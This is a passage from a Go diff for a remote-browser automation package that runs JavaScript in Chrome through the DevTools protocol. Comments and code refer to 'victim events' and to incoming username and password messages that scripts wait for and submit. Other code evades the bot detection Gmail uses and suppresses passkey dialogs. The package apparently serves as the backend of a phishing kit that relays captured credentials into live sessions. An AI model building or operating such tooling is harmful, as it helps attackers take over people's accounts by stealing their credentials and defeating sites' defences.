must(err)
|
||||
res, err := el.Eval("() => this.innerHTML")
|
||||
must(err)
|
||||
html := res.Value.Str()
|
||||
dbg(fmt.Sprintf("= getInnerHTML %s (%d bytes)", sel, len(html)))
|
||||
return vm.ToValue(html)
|
||||
})
|
||||
|
||||
pc.Set("getOuterHTML", func(call goja.FunctionCall) goja.Value {
|
||||
sel := argStr(call.Argument(0))
|
||||
dbg("? getOuterHTML " + sel)
|
||||
rPage, rCancel := readPage()
|
||||
defer rCancel()
|
||||
el, err := rPage.Element(sel)
|
||||
must(err)
|
||||
html, err := el.HTML()
|
||||
must(err)
|
||||
dbg(fmt.Sprintf("= getOuterHTML %s (%d bytes)", sel, len(html)))
|
||||
return vm.ToValue(html)
|
||||
})
|
||||
|
||||
pc.Set("getAttribute", func(call goja.FunctionCall) goja.Value {
|
||||
sel := argStr(call.Argument(0))
|
||||
attr := argStr(call.Argument(1))
|
||||
dbg(fmt.Sprintf("? getAttribute %s[%s]", sel, attr))
|
||||
rPage, rCancel := readPage()
|
||||
defer rCancel()
|
||||
el, err := rPage.Element(sel)
|
||||
must(err)
|
||||
val, err := el.Attribute(attr)
|
||||
must(err)
|
||||
if val == nil {
|
||||
dbg(fmt.Sprintf("= getAttribute %s[%s] null", sel, attr))
|
||||
return goja.Null()
|
||||
}
|
||||
dbg(fmt.Sprintf("= getAttribute %s[%s] %q", sel, attr, *val))
|
||||
return vm.ToValue(*val)
|
||||
})
|
||||
|
||||
pc.Set("getAttributes", func(call goja.FunctionCall) goja.Value {
|
||||
sel := argStr(call.Argument(0))
|
||||
dbg("? getAttributes " + sel)
|
||||
rPage, rCancel := readPage()
|
||||
defer rCancel()
|
||||
res, err := rPage.Eval(fmt.Sprintf("() => { const el = document.querySelector(%q); if (!el) return {}; return Object.fromEntries([...el.attributes].map(a => [a.name, a.value])) }", sel))
|
||||
must(err)
|
||||
dbg(fmt.Sprintf("= getAttributes %s", sel))
|
||||
return vm.ToValue(res.Value.Val())
|
||||
})
|
||||
|
||||
pc.Set("setAttribute", func(call goja.FunctionCall) goja.Value {
|
||||
sel := argStr(call.Argument(0))
|
||||
attr := argStr(call.Argument(1))
|
||||
val := argStr(call.Argument(2))
|
||||
dbg(fmt.Sprintf("→ setAttribute %s[%s] = %q", sel, attr, val))
|
||||
_, err := page.Eval(fmt.Sprintf("() => { const el = document.querySelector(%q); if(el) el.setAttribute(%q, %q) }", sel, attr, val))
|
||||
must(err)
|
||||
dbg(fmt.Sprintf("✓ setAttribute %s[%s]", sel, attr))
|
||||
return goja.Undefined()
|
||||
})
|
||||
|
||||
pc.Set("removeAttribute", func(call goja.FunctionCall) goja.Value {
|
||||
sel := argStr(call.Argument(0))
|
||||
attr := argStr(call.Argument(1))
|
||||
dbg(fmt.Sprintf("→ removeAttribute %s[%s]", sel, attr))
|
||||
_, err := page.Eval(fmt.Sprintf("() => { const el = document.querySelector(%q); if(el) el.removeAttribute(%q) }", sel, attr))
|
||||
must(err)
|
||||
dbg(fmt.Sprintf("✓ removeAttribute %s[%s]", sel, attr))
|
||||
return goja.Undefined()
|
||||
})
|
||||
|
||||
pc.Set("getJSAttribute", func(call goja.FunctionCall) goja.Value {
|
||||
sel := argStr(call.Argument(0))
|
||||
attr := argStr(call.Argument(1))
|
||||
dbg(fmt.Sprintf("? getJSAttribute %s.%s", sel, attr))
|
||||
rPage, rCancel := readPage()
|
||||
defer rCancel()
|
||||
el, err := rPage.Element(sel)
|
||||
must(err)
|
||||
prop, err := el.Property(attr)
|
||||
must(err)
|
||||
dbg(fmt.Sprintf("= getJSAttribute %s.%s %v", sel, attr, prop.Val()))
|
||||
return vm.ToValue(prop.Val())
|
||||
})
|
||||
|
||||
pc.Set("setJSAttribute", func(call goja.FunctionCall) goja.Value {
|
||||
sel := argStr(call.Argument(0))
|
||||
attr := argStr(call.Argument(1))
|
||||
val := argStr(call.Argument(2))
|
||||
dbg(fmt.Sprintf("→ setJSAttribute %s.%s = %q", sel, attr, val))
|
||||
_, err := page.Eval(fmt.Sprintf("() => { const el = document.querySelector(%q); if(el) el[%q] = %q }", sel, attr, val))
|
||||
must(err)
|
||||
dbg(fmt.Sprintf("✓ setJSAttribute %s.%s", sel, attr))
|
||||
return goja.Undefined()
|
||||
})
|
||||
|
||||
pc.Set("getNodeCount", func(call goja.FunctionCall) goja.Value {
|
||||
sel := argStr(call.Argument(0))
|
||||
dbg("? getNodeCount " + sel)
|
||||
rPage, rCancel := readPage()
|
||||
defer rCancel()
|
||||
els, err := rPage.Elements(sel)
|
||||
if err != nil {
|
||||
return vm.ToValue(0)
|
||||
}
|
||||
dbg(fmt.Sprintf("= getNodeCount %s %d", sel, len(els)))
|
||||
return vm.ToValue(len(els))
|
||||
})
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// JavaScript evaluation
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
pc.Set("evaluate", func(call goja.FunctionCall) goja.Value {
|
||||
dbg("→ evaluate")
|
||||
expr := argStr(call.Argument(0))
|
||||
rPage, rCancel := readPage()
|
||||
defer rCancel()
|
||||
res, err := proto.RuntimeEvaluate{Expression: expr}.Call(rPage)
|
||||
must(err)
|
||||
result := res.Result.Value.Val()
|
||||
dbg(fmt.Sprintf("= evaluate %v", result))
|
||||
return vm.ToValue(result)
|
||||
})
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Screenshots
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
pc.Set("screenshot", func(call goja.FunctionCall) goja.Value {
|
||||
name := argStr(call.Argument(0))
|
||||
dbg("→ screenshot " + name)
|
||||
rPage, rCancel := readPage()
|
||||
defer rCancel()
|
||||
info, _ := rPage.Info()
|
||||
buf, err := rPage.Screenshot(true, nil)
|
||||
if err != nil {
|
||||
if emitter != nil {
|
||||
emitter.log(fmt.Sprintf("[screenshot] %s: %s", name, err))
|
||||
}
|
||||
return goja.Undefined()
|
||||
}
|
||||
pageURL := ""
|
||||
if info != nil {
|
||||
pageURL = info.URL
|
||||
}
|
||||
if emitter != nil {
|
||||
emitter.screenshot(name, buf, pageURL)
|
||||
}
|
||||
dbg("✓ screenshot " + name)
|
||||
return goja.Undefined()
|
||||
})
|
||||
|
||||
pc.Set("screenshotElement", func(call goja.FunctionCall) goja.Value {
|
||||
sel := argStr(call.Argument(0))
|
||||
name := argStr(call.Argument(1))
|
||||
dbg(fmt.Sprintf("→ screenshotElement %s as %s", sel, name))
|
||||
rPage, rCancel := readPage()
|
||||
defer rCancel()
|
||||
info, _ := rPage.Info()
|
||||
el, err := rPage.Element(sel)
|
||||
must(err)
|
||||
must(el.WaitVisible())
|
||||
buf, err := el.Screenshot("", 0)
|
||||
if err != nil {
|
||||
if emitter != nil {
|
||||
emitter.log(fmt.Sprintf("[screenshot] %s: %s", name, err))
|
||||
}
|
||||
return goja.Undefined()
|
||||
}
|
||||
pageURL := ""
|
||||
if info != nil {
|
||||
pageURL = info.URL
|
||||
}
|
||||
if emitter != nil {
|
||||
emitter.screenshot(name, buf, pageURL)
|
||||
}
|
||||
dbg("✓ screenshotElement " + name)
|
||||
return goja.Undefined()
|
||||
})
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Viewport & emulation
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
pc.Set("setViewport", func(call goja.FunctionCall) goja.Value {
|
||||
w := call.Argument(0).ToInteger()
|
||||
h := call.Argument(1).ToInteger()
|
||||
dbg(fmt.Sprintf("→ setViewport %dx%d", w, h))
|
||||
must(proto.EmulationSetDeviceMetricsOverride{
|
||||
Width: int(w), Height: int(h), DeviceScaleFactor: 1,
|
||||
}.Call(page))
|
||||
dbg(fmt.Sprintf("✓ setViewport %dx%d", w, h))
|
||||
return goja.Undefined()
|
||||
})
|
||||
|
||||
pc.Set("setViewportMobile", func(call goja.FunctionCall) goja.Value {
|
||||
w := call.Argument(0).ToInteger()
|
||||
h := call.Argument(1).ToInteger()
|
||||
dbg(fmt.Sprintf("→ setViewportMobile %dx%d", w, h))
|
||||
must(proto.EmulationSetDeviceMetricsOverride{
|
||||
Width: int(w), Height: int(h), DeviceScaleFactor: 1,
|
||||
Mobile: true,
|
||||
}.Call(page))
|
||||
must(proto.EmulationSetTouchEmulationEnabled{Enabled: true}.Call(page))
|
||||
dbg(fmt.Sprintf("✓ setViewportMobile %dx%d", w, h))
|
||||
return goja.Undefined()
|
||||
})
|
||||
|
||||
pc.Set("resetViewport", func(call goja.FunctionCall) goja.Value {
|
||||
dbg("→ resetViewport")
|
||||
must(proto.EmulationClearDeviceMetricsOverride{}.Call(page))
|
||||
dbg("✓ resetViewport")
|
||||
return goja.Undefined()
|
||||
})
|
||||
|
||||
pc.Set("setUserAgent", func(call goja.FunctionCall) goja.Value {
|
||||
ua := argStr(call.Argument(0))
|
||||
dbg("→ setUserAgent " + ua)
|
||||
must(proto.EmulationSetUserAgentOverride{UserAgent: ua}.Call(page))
|
||||
dbg("✓ setUserAgent")
|
||||
return goja.Undefined()
|
||||
})
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Utility
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
pc.Set("wait", func(call goja.FunctionCall) goja.Value {
|
||||
ms := call.Argument(0).ToInteger()
|
||||
dbg(fmt.Sprintf("→ wait %dms", ms))
|
||||
select {
|
||||
case <-page.GetContext().Done():
|
||||
must(page.GetContext().Err())
|
||||
case <-time.After(time.Duration(ms) * time.Millisecond):
|
||||
}
|
||||
dbg(fmt.Sprintf("✓ wait %dms", ms))
|
||||
return goja.Undefined()
|
||||
})
|
||||
|
||||
// disableFidoUI enables the CDP WebAuthn virtual authenticator environment.
|
||||
// In this mode Chrome intercepts WebAuthn/FIDO requests via CDP instead of
|
||||
// showing the native "Passkeys & Security Keys" browser dialog, so DOM
|
||||
// interactions remain possible while on the FIDO page.
|
||||
pc.Set("disableFidoUI", func(call goja.FunctionCall) goja.Value {
|
||||
dbg("→ disableFidoUI")
|
||||
must(proto.WebAuthnEnable{}.Call(page))
|
||||
dbg("✓ disableFidoUI")
|
||||
return goja.Undefined()
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,115 @@
|
||||
package remotebrowser
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// RunEvent is an event emitted during script execution.
|
||||
type RunEvent struct {
|
||||
Type string `json:"type"` // "event", "log", "error", "done", "capture", "screenshot", "info", "submit"
|
||||
Key string `json:"key,omitempty"` // for type=event/screenshot (label)
|
||||
Value any `json:"value,omitempty"` // for type=event/capture/screenshot/submit (base64 data URI or arbitrary data)
|
||||
URL string `json:"url,omitempty"` // for type=screenshot (page URL at capture time)
|
||||
Message string `json:"message,omitempty"` // for type=log/error/info
|
||||
Data any `json:"data,omitempty"` // for type=log: optional second arg from log(msg, data)
|
||||
Time string `json:"time"`
|
||||
}
|
||||
|
||||
// channelEmitter sends events to a channel in a thread-safe way.
|
||||
type channelEmitter struct {
|
||||
mu sync.Mutex
|
||||
events chan RunEvent
|
||||
}
|
||||
|
||||
func newChannelEmitter(events chan RunEvent) *channelEmitter {
|
||||
return &channelEmitter{events: events}
|
||||
}
|
||||
|
||||
func (e *channelEmitter) emit(key string, value any) {
|
||||
e.send(RunEvent{
|
||||
Type: "event",
|
||||
Key: key,
|
||||
Value: value,
|
||||
Time: time.Now().UTC().Format(time.RFC3339Nano),
|
||||
})
|
||||
}
|
||||
|
||||
func (e *channelEmitter) log(msg string, data ...any) {
|
||||
evt := RunEvent{
|
||||
Type: "log",
|
||||
Message: msg,
|
||||
Time: time.Now().UTC().Format(time.RFC3339Nano),
|
||||
}
|
||||
if len(data) > 0 {
|
||||
evt.Data = data[0]
|
||||
}
|
||||
e.send(evt)
|
||||
}
|
||||
|
||||
func (e *channelEmitter) errorf(msg string) {
|
||||
e.send(RunEvent{
|
||||
Type: "error",
|
||||
Message: msg,
|
||||
Time: time.Now().UTC().Format(time.RFC3339Nano),
|
||||
})
|
||||
}
|
||||
|
||||
func (e *channelEmitter) screenshot(label string, buf []byte, pageURL string) {
|
||||
e.send(RunEvent{
|
||||
Type: "screenshot",
|
||||
Key: label,
|
||||
Value: "data:image/png;base64," + base64.StdEncoding.EncodeToString(buf),
|
||||
URL: pageURL,
|
||||
Time: time.Now().UTC().Format(time.RFC3339Nano),
|
||||
})
|
||||
}
|
||||
|
||||
func (e *channelEmitter) capture(data interface{}) {
|
||||
e.send(RunEvent{
|
||||
Type: "capture",
|
||||
Value: data,
|
||||
Time: time.Now().UTC().Format(time.RFC3339Nano),
|
||||
})
|
||||
}
|
||||
|
||||
func (e *channelEmitter) info(msg string) {
|
||||
e.send(RunEvent{
|
||||
Type: "info",
|
||||
Message: msg,
|
||||
Time: time.Now().UTC().Format(time.RFC3339Nano),
|
||||
})
|
||||
}
|
||||
|
||||
func (e *channelEmitter) submitData(data interface{}) {
|
||||
e.send(RunEvent{
|
||||
Type: "submit",
|
||||
Value: data,
|
||||
Time: time.Now().UTC().Format(time.RFC3339Nano),
|
||||
})
|
||||
}
|
||||
|
||||
func (e *channelEmitter) done() {
|
||||
e.send(RunEvent{
|
||||
Type: "done",
|
||||
Time: time.Now().UTC().Format(time.RFC3339Nano),
|
||||
})
|
||||
}
|
||||
|
||||
func (e *channelEmitter) send(evt RunEvent) {
|
||||
e.mu.Lock()
|
||||
defer e.mu.Unlock()
|
||||
select {
|
||||
case e.events <- evt:
|
||||
default:
|
||||
}
|
||||
}
|
||||
|
||||
// sendMust sends an event and blocks until it is accepted. Used for critical
|
||||
// events (keep_alive) where a silent drop would corrupt session state.
|
||||
func (e *channelEmitter) sendMust(evt RunEvent) {
|
||||
e.mu.Lock()
|
||||
defer e.mu.Unlock()
|
||||
e.events <- evt
|
||||
}
|
||||
@@ -0,0 +1,34 @@
|
||||
package remotebrowser
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net/url"
|
||||
)
|
||||
|
||||
// ValidateNavigateURL blocks schemes that are dangerous when driven via CDP.
|
||||
// chromedp.Navigate is a raw CDP command that bypasses Chrome's normal security
|
||||
// context - file://, javascript: and data: are blocked by Chrome when triggered
|
||||
// from within a page, but not when issued directly over DevTools.
|
||||
// Exported so the controller's control-mode input dispatcher can reuse it.
|
||||
func ValidateNavigateURL(raw string) error {
|
||||
if raw == "" {
|
||||
return fmt.Errorf("empty URL")
|
||||
}
|
||||
|
||||
u, err := url.Parse(raw)
|
||||
if err != nil {
|
||||
return fmt.Errorf("invalid URL: %w", err)
|
||||
}
|
||||
|
||||
switch u.Scheme {
|
||||
case "http", "https":
|
||||
default:
|
||||
return fmt.Errorf("scheme %q not allowed, only http and https are permitted", u.Scheme)
|
||||
}
|
||||
|
||||
if u.Hostname() == "" {
|
||||
return fmt.Errorf("URL has no host")
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,729 @@
|
||||
package remotebrowser
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/dop251/goja"
|
||||
"github.com/go-rod/rod"
|
||||
"github.com/go-rod/rod/lib/launcher"
|
||||
"github.com/go-rod/rod/lib/proto"
|
||||
)
|
||||
|
||||
// Config holds browser connection and execution settings configurable by platform admins.
|
||||
type Config struct {
|
||||
Mode string `json:"mode"` // "local" or "remote"
|
||||
Remote string `json:"remote"` // DevTools WS URL (mode=remote)
|
||||
Proxy string `json:"proxy"` // socks5:// or http:// (mode=local)
|
||||
Headless bool `json:"headless"` // run Chrome in headless mode (mode=local)
|
||||
Timeout int `json:"timeout"` // ms, 0 = use DefaultTimeout
|
||||
}
|
||||
|
||||
const DefaultTimeout = 60_000 // ms
|
||||
|
||||
// DefaultChromiumUA is a realistic non-headless Chrome UA used when headless=true
|
||||
// and no explicit userAgent is configured. Prevents "HeadlessChrome" from leaking
|
||||
// into the User-Agent header, which triggers bot-detection on many sites.
|
||||
const DefaultChromiumUA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
|
||||
|
||||
// DefaultConfig returns a sensible default config.
|
||||
func DefaultConfig() Config {
|
||||
return Config{
|
||||
Mode: "local",
|
||||
Timeout: DefaultTimeout,
|
||||
}
|
||||
}
|
||||
|
||||
// ParseConfig parses a JSON config string, returning defaults for empty input.
|
||||
func ParseConfig(raw string) (Config, error) {
|
||||
cfg := DefaultConfig()
|
||||
if raw == "" {
|
||||
return cfg, nil
|
||||
}
|
||||
if err := json.Unmarshal([]byte(raw), &cfg); err != nil {
|
||||
return cfg, err
|
||||
}
|
||||
if cfg.Timeout <= 0 {
|
||||
cfg.Timeout = DefaultTimeout
|
||||
}
|
||||
if cfg.Mode != "remote" {
|
||||
cfg.Remote = ""
|
||||
}
|
||||
return cfg, nil
|
||||
}
|
||||
|
||||
// chromeEnv builds a minimal environment for the Chrome subprocess, plus any
|
||||
// caller-supplied overrides. Passing os.Environ() to Chrome leaks server
|
||||
// secrets (DATABASE_URL, API keys, etc.) into the renderer process.
|
||||
// Only variables Chrome actually needs are forwarded.
|
||||
func chromeEnv(overrides ...string) []string {
|
||||
allowed := map[string]bool{
|
||||
"HOME": true, "PATH": true, "USER": true, "LOGNAME": true,
|
||||
"DISPLAY": true, "XAUTHORITY": true, "DBUS_SESSION_BUS_ADDRESS": true,
|
||||
"FONTCONFIG_PATH": true, "FONTCONFIG_FILE": true,
|
||||
}
|
||||
var env []string
|
||||
for _, kv := range os.Environ() {
|
||||
key := kv
|
||||
if i := strings.IndexByte(kv, '='); i >= 0 {
|
||||
key = kv[:i]
|
||||
}
|
||||
if allowed[key] {
|
||||
env = append(env, kv)
|
||||
}
|
||||
}
|
||||
return append(env, overrides...)
|
||||
}
|
||||
|
||||
// resolveBrowserRootDir returns the directory Rod uses to cache its auto-downloaded
|
||||
// Chromium. We use a path next to the running binary rather than $HOME/.cache
|
||||
// because the systemd unit sets ProtectHome=true, making /home inaccessible to
|
||||
// the service regardless of what /etc/passwd says.
|
||||
func resolveBrowserRootDir() (string, error) {
|
||||
execPath, err := os.Executable()
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("cannot locate browser cache dir: %w", err)
|
||||
}
|
||||
return filepath.Join(filepath.Dir(execPath), "data", "browser"), nil
|
||||
}
|
||||
|
||||
// Runner executes a JS script against a Chrome instance and streams events
|
||||
// to the Events channel. The caller must close or drain Events after Run returns.
|
||||
type Runner struct {
|
||||
Script string
|
||||
Config Config
|
||||
// ExecPath is the server-configured Chrome binary path (from config.json,
|
||||
// not user-supplied). Empty = Rod auto-download.
|
||||
ExecPath string
|
||||
Events chan RunEvent // server → client
|
||||
Incoming chan IncomingMsg // client → script (victim events / test injections)
|
||||
// BrowserCh receives the *rod.Page as soon as newSession() spawns the browser.
|
||||
// The caller reads this once to obtain the page for streaming.
|
||||
BrowserCh chan *rod.Page
|
||||
// LiveCh receives the *rod.Page when s.keepAlive() is called (kept for compat).
|
||||
LiveCh chan *rod.Page
|
||||
// StreamCh receives commands from s.stream(selector, name) / stop().
|
||||
StreamCh chan StreamCmd
|
||||
}
|
||||
|
||||
// IncomingMsg is an event sent from the client into the running script.
|
||||
// Wire format: {"event": "credentials", "data": {"username": "...", "password": "..."}}
|
||||
type IncomingMsg struct {
|
||||
Event string `json:"event"`
|
||||
Data interface{} `json:"data"`
|
||||
}
|
||||
|
||||
// StreamCmd is sent on Runner.StreamCh when the script calls s.stream() or the returned stop().
|
||||
type StreamCmd struct {
|
||||
Op string // "start" | "stop"
|
||||
Selector string // CSS selector (Op=start)
|
||||
Name string // stream name
|
||||
Page *rod.Page // rod page (Op=start)
|
||||
MaxFps int // 0 = unlimited
|
||||
Quality int // JPEG re-encode quality 1-100; 0 = default (92)
|
||||
}
|
||||
|
||||
// NewRunner creates a Runner with buffered event channels.
|
||||
func NewRunner(script string, cfg Config) *Runner {
|
||||
return &Runner{
|
||||
Script: script,
|
||||
Config: cfg,
|
||||
Events: make(chan RunEvent, 256),
|
||||
Incoming: make(chan IncomingMsg, 256),
|
||||
BrowserCh: make(chan *rod.Page, 1),
|
||||
LiveCh: make(chan *rod.Page, 1),
|
||||
StreamCh: make(chan StreamCmd, 16),
|
||||
}
|
||||
}
|
||||
|
||||
// Run executes the script. It blocks until the script finishes, the context is
|
||||
// cancelled, or the global timeout fires. The Events channel is closed when Run
|
||||
// returns.
|
||||
func (r *Runner) Run(ctx context.Context) error {
|
||||
defer close(r.Events)
|
||||
defer close(r.StreamCh)
|
||||
|
||||
emitter := newChannelEmitter(r.Events)
|
||||
|
||||
timeout := time.Duration(r.Config.Timeout) * time.Millisecond
|
||||
ctx, cancel := context.WithTimeout(ctx, timeout)
|
||||
defer cancel()
|
||||
|
||||
vm := goja.New()
|
||||
|
||||
// Interrupt the JS VM when the context expires so a pure-JS busy loop
|
||||
// (e.g. while(true){}) cannot leak this goroutine after the timeout fires.
|
||||
go func() {
|
||||
<-ctx.Done()
|
||||
vm.Interrupt(ctx.Err())
|
||||
}()
|
||||
|
||||
// vmArgStr returns "" for undefined/null instead of the string "undefined".
|
||||
vmArgStr := func(v goja.Value) string {
|
||||
if goja.IsUndefined(v) || goja.IsNull(v) {
|
||||
return ""
|
||||
}
|
||||
return v.String()
|
||||
}
|
||||
|
||||
vm.Set("emit", func(call goja.FunctionCall) goja.Value {
|
||||
key := vmArgStr(call.Argument(0))
|
||||
value := call.Argument(1).Export()
|
||||
emitter.emit(key, value)
|
||||
return goja.Undefined()
|
||||
})
|
||||
|
||||
vm.Set("log", func(call goja.FunctionCall) goja.Value {
|
||||
msg := vmArgStr(call.Argument(0))
|
||||
if len(call.Arguments) > 1 && !goja.IsUndefined(call.Argument(1)) && !goja.IsNull(call.Argument(1)) {
|
||||
emitter.log(msg, call.Argument(1).Export())
|
||||
} else {
|
||||
emitter.log(msg)
|
||||
}
|
||||
return goja.Undefined()
|
||||
})
|
||||
|
||||
vm.Set("info", func(call goja.FunctionCall) goja.Value {
|
||||
msg := vmArgStr(call.Argument(0))
|
||||
emitter.info(msg)
|
||||
return goja.Undefined()
|
||||
})
|
||||
|
||||
vm.Set("submitData", func(call goja.FunctionCall) goja.Value {
|
||||
data := call.Argument(0).Export()
|
||||
emitter.submitData(data)
|
||||
return goja.Undefined()
|
||||
})
|
||||
|
||||
vm.Set("waitForEvent", func(call goja.FunctionCall) goja.Value {
|
||||
key := vmArgStr(call.Argument(0))
|
||||
emitter.log(fmt.Sprintf("[waitForEvent] waiting for %q", key))
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
panic(vm.NewGoError(ctx.Err()))
|
||||
case msg, ok := <-r.Incoming:
|
||||
if !ok {
|
||||
panic(vm.NewGoError(fmt.Errorf("incoming channel closed")))
|
||||
}
|
||||
if msg.Event == key {
|
||||
emitter.log(fmt.Sprintf("[waitForEvent] received %q", key))
|
||||
return vm.ToValue(msg.Data)
|
||||
}
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
vm.Set("waitForAny", func(call goja.FunctionCall) goja.Value {
|
||||
// waitForAny(["password", "username"]) or waitForAny("password", "username")
|
||||
// Returns {event: "...", data: ...} for whichever arrives first.
|
||||
keySet := make(map[string]bool)
|
||||
if len(call.Arguments) == 1 {
|
||||
if arr, ok := call.Argument(0).Export().([]interface{}); ok {
|
||||
for _, v := range arr {
|
||||
keySet[fmt.Sprintf("%v", v)] = true
|
||||
}
|
||||
} else {
|
||||
keySet[vmArgStr(call.Argument(0))] = true
|
||||
}
|
||||
} else {
|
||||
for _, a := range call.Arguments {
|
||||
keySet[vmArgStr(a)] = true
|
||||
}
|
||||
}
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
panic(vm.NewGoError(ctx.Err()))
|
||||
case msg, ok := <-r.Incoming:
|
||||
if !ok {
|
||||
panic(vm.NewGoError(fmt.Errorf("incoming channel closed")))
|
||||
}
|
||||
if keySet[msg.Event] {
|
||||
result := vm.NewObject()
|
||||
result.Set("event", msg.Event)
|
||||
result.Set("data", vm.ToValue(msg.Data))
|
||||
return result
|
||||
}
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
// Note: withTimeout is intentionally NOT available at the top level because
|
||||
// there is no page context to thread through. Use session.withTimeout(ms, fn) instead.
|
||||
|
||||
vm.Set("newSession", func(call goja.FunctionCall) goja.Value {
|
||||
type sessionOpts struct {
|
||||
Proxy string
|
||||
Remote string
|
||||
Headless bool
|
||||
IdleTimeout int // ms; 0 = disabled
|
||||
Debug bool
|
||||
QueryTimeout int // ms; 0 = no timeout on read ops
|
||||
UserAgent string
|
||||
}
|
||||
opts := sessionOpts{
|
||||
Headless: r.Config.Headless,
|
||||
}
|
||||
if r.Config.Proxy != "" {
|
||||
opts.Proxy = r.Config.Proxy
|
||||
}
|
||||
if r.Config.Mode == "remote" && r.Config.Remote != "" {
|
||||
opts.Remote = r.Config.Remote
|
||||
}
|
||||
|
||||
if len(call.Arguments) > 0 {
|
||||
obj := call.Argument(0).ToObject(vm)
|
||||
if obj != nil {
|
||||
if v := obj.Get("proxy"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) {
|
||||
opts.Proxy = v.String()
|
||||
}
|
||||
if v := obj.Get("remote"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) {
|
||||
opts.Remote = v.String()
|
||||
}
|
||||
if v := obj.Get("headless"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) {
|
||||
opts.Headless = v.ToBoolean()
|
||||
}
|
||||
if v := obj.Get("idleTimeout"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) {
|
||||
opts.IdleTimeout = int(v.ToInteger())
|
||||
}
|
||||
if v := obj.Get("debug"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) {
|
||||
opts.Debug = v.ToBoolean()
|
||||
}
|
||||
if v := obj.Get("queryTimeout"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) {
|
||||
opts.QueryTimeout = int(v.ToInteger())
|
||||
}
|
||||
if v := obj.Get("userAgent"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) {
|
||||
opts.UserAgent = v.String()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
var browser *rod.Browser
|
||||
var page *rod.Page
|
||||
|
||||
if opts.Remote != "" {
|
||||
if opts.Proxy != "" {
|
||||
emitter.log(fmt.Sprintf("[session] warning: proxy %q ignored for remote browser", opts.Proxy))
|
||||
}
|
||||
emitter.log(fmt.Sprintf("[session] connecting to remote browser at %s", opts.Remote))
|
||||
browser = rod.New().ControlURL(opts.Remote).Context(ctx)
|
||||
if err := browser.Connect(); err != nil {
|
||||
emitter.errorf(fmt.Sprintf("browser connect failed: %v", err))
|
||||
return goja.Undefined()
|
||||
}
|
||||
var err error
|
||||
page, err = browser.Page(proto.TargetCreateTarget{URL: "about:blank"})
|
||||
if err != nil {
|
||||
emitter.errorf(fmt.Sprintf("page create failed: %v", err))
|
||||
browser.Close() //nolint:errcheck
|
||||
return goja.Undefined()
|
||||
}
|
||||
} else {
|
||||
rootDir, err := resolveBrowserRootDir()
|
||||
if err != nil {
|
||||
emitter.errorf(err.Error())
|
||||
return goja.Undefined()
|
||||
}
|
||||
// Newer Chromium requires writable XDG dirs and a crash-dumps-dir at
|
||||
// startup (see go-rod#1126). Use subdirs of the browser root so all
|
||||
// Chrome-related data lives in one place.
|
||||
crashDir := filepath.Join(rootDir, "crashes")
|
||||
os.MkdirAll(crashDir, 0755) //nolint:errcheck
|
||||
os.MkdirAll(filepath.Join(rootDir, "config"), 0755) //nolint:errcheck
|
||||
os.MkdirAll(filepath.Join(rootDir, "cache"), 0755) //nolint:errcheck
|
||||
|
||||
l := launcher.New().
|
||||
Headless(opts.Headless).
|
||||
Set("disable-crash-reporter").
|
||||
Set("crash-dumps-dir", crashDir).
|
||||
// Prevents navigator.webdriver from being set to true, which is
|
||||
// the primary signal sites like Gmail use to detect automation.
|
||||
Set("disable-blink-features", "AutomationControlled").
|
||||
Env(chromeEnv(
|
||||
"XDG_CONFIG_HOME="+filepath.Join(rootDir, "config"),
|
||||
"XDG_CACHE_HOME="+filepath.Join(rootDir, "cache"),
|
||||
)...)
|
||||
|
||||
if r.ExecPath != "" {
|
||||
l = l.Bin(r.ExecPath)
|
||||
} else {
|
||||
b := launcher.NewBrowser()
|
||||
b.RootDir = rootDir
|
||||
binPath := b.BinPath()
|
||||
if _, err := os.Stat(binPath); os.IsNotExist(err) {
|
||||
if err := b.Download(); err != nil {
|
||||
emitter.errorf(fmt.Sprintf("browser download failed: %v", err))
|
||||
return goja.Undefined()
|
||||
}
|
||||
}
|
||||
l = l.Bin(binPath)
|
||||
}
|
||||
if opts.Proxy != "" {
|
||||
emitter.log(fmt.Sprintf("[session] using proxy: %s", opts.Proxy))
|
||||
l = l.Proxy(opts.Proxy).Set("proxy-bypass-list", "")
|
||||
}
|
||||
u, err := l.Launch()
|
||||
if err != nil {
|
||||
emitter.errorf(fmt.Sprintf("browser launch failed: %v", err))
|
||||
return goja.Undefined()
|
||||
}
|
||||
browser = rod.New().ControlURL(u).Context(ctx)
|
||||
if err := browser.Connect(); err != nil {
|
||||
emitter.errorf(fmt.Sprintf("browser connect failed: %v", err))
|
||||
return goja.Undefined()
|
||||
}
|
||||
page, err = browser.Page(proto.TargetCreateTarget{URL: "about:blank"})
|
||||
if err != nil {
|
||||
emitter.errorf(fmt.Sprintf("page create failed: %v", err))
|
||||
browser.Close() //nolint:errcheck
|
||||
return goja.Undefined()
|
||||
}
|
||||
}
|
||||
|
||||
